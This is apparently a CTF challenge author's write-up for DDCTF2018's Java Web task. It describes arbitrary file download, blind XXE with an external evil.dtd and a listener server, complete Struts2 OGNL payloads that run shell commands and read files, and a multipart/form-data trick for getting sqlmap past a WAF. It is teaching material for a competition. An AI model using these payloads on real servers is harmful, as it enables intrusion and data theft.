0x00 说明
这次DDCTF2018我出了一道Java Web题目“喝杯Java冷静下”,这里记录下一些出题思路和用到的技术。
0x01 出题思路和技术
- 通过任意文件下载漏洞,下载java配置文件和class字节码文件。
- 通过blind XXE进行SSRF攻击。
- 修改Struts2 POC,读写文件。
整个题目由3个Docker环境内联启动。Java程序基于开源项目quick4j开发,升级了相关可能存在风险的第三方Jar包。 很担心大家会走错思路使用shiro框架的反序列化漏洞进行攻击。 为防止搞事,tomcat启动使用gosu工具指定低权限用户www-data
进行启动。 Java Blind XXE读文件,如果是多行会有问题,因此我将flag文件设置成了1行。试过ftp协议,可能是JDK版本和Linux环境问题,始终无法达到预期顺利读取多行数据的效果。 后面的Struts2项目使用JVM-Sandbox进行底层函数Hook,阻止命令执行。
0x02 解题过程
1.任意文件下载漏洞审计Java代码
查看源码,会看到用户名和密码。进入系统,很容易发现任意文件下载漏洞,通过github上的安全项目的目录下载class文件,发现在SecurityRealm字节码文件中存在后门。 这里的知识点是f5a5a608
的HashCode值为0,在反序列化漏洞的执行链构造用到了,本意让大家能够深入去了解下。
2.XXE漏洞渗透内网
记录下xxe漏洞测试过程:通过/quick4j_ddctf/rest/user/nicaicaikan_url_23333_secret
,首先测试是否可以blind xxe带出数据:
1 |
|
再测试获取数据的POC: evil.dtd
:
1 | <!ENTITY % payload SYSTEM "file:///C:\\Users\\angelwhu\\Desktop\\tmp.txt"> |
payload
:
1 |
|
同时测试读取多行内容,使用ftp协议: evil.dtd
:
1 | <!ENTITY % payload SYSTEM "file:///C:\\Users\\angelwhu\\Desktop\\tmp.txt"> |
服务器运行ruby脚本:
1 | require 'socket' |
这里说明下,在windows环境中我成功读取多行内容,但在linux环境中失败了,因此没有考这个知识点。 实际上我还担心各位使用jar://协议,参考https://www.youtube.com/watch?v=eHSNT8vWLfc&feature=youtu.be,但在此题没有上传点,不适用。
3.Struts2漏洞攻击
这里主要考察自己构造POC的能力,有2个知识点,不知各位get到没~
- 网上POC末尾都会有空字符,无法通过xxe获取出来~
相当于写Java代码,使用BufferedReader
读文件,使返回结果末尾没有空字符:
1 | ${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'sh','-c','whoami'})).start(),#b=#a.getInputStream(),#c=new java.io.BufferedInputStream(#b),#k=new java.io.InputStreamReader(#c),#d=new java.io.BufferedReader(#k),#e=#d.readLine(),#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#matt.getWriter().println(#e),#matt.getWriter().flush(),#matt.getWriter().close()} |
- 题目使用JVM-Sandbox限制了底层命令执行的函数,需要自己构造POC读取flag文件。
调整POC直接读取/flag/flag.txt文件:
1 | ${#a=new java.io.File("/flag/flag.txt"),#b=new java.io.FileReader(#a),#c=new java.io.BufferedReader(#b),#e=#c.readLine(),#c.close(),#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#matt.getWriter().println(#e),#matt.getWriter().flush(),#matt.getWriter().close()} |
0x04 思考与总结
这次出题很欣慰没有出啥非预期的结果,只希望做题的人能get到里面所用到的技术。比如:思考下我怎么限制命令执行的,用到了啥技术?如果flag文件是多行,能获取不?
相关出题的代码文件: https://github.com/angelwhu/ctfs/tree/master/ddctf2018_java_web
0x05 ddctf web1思考
在自己出题的同时,关注了下其他的题目~ 第1个Web题目就很有意思。但是看的过程中有个疑问: 网上writeup用php挂个代理,用sqlmap就能绕waf了(常规思路应该是使用自己写脚本盲注绕waf的方式)?我决定用go语言写个代理试试。花了点时间搞明白了这件事情:
- 代理将post数据改用了multipart/form-data形式(而非application/x-www-form-urlencoded),这样就能绕过waf。
- waf还识别sqlmap的user-agent,不能直接转发UA。
以下是我的代理代码:
1 | package main |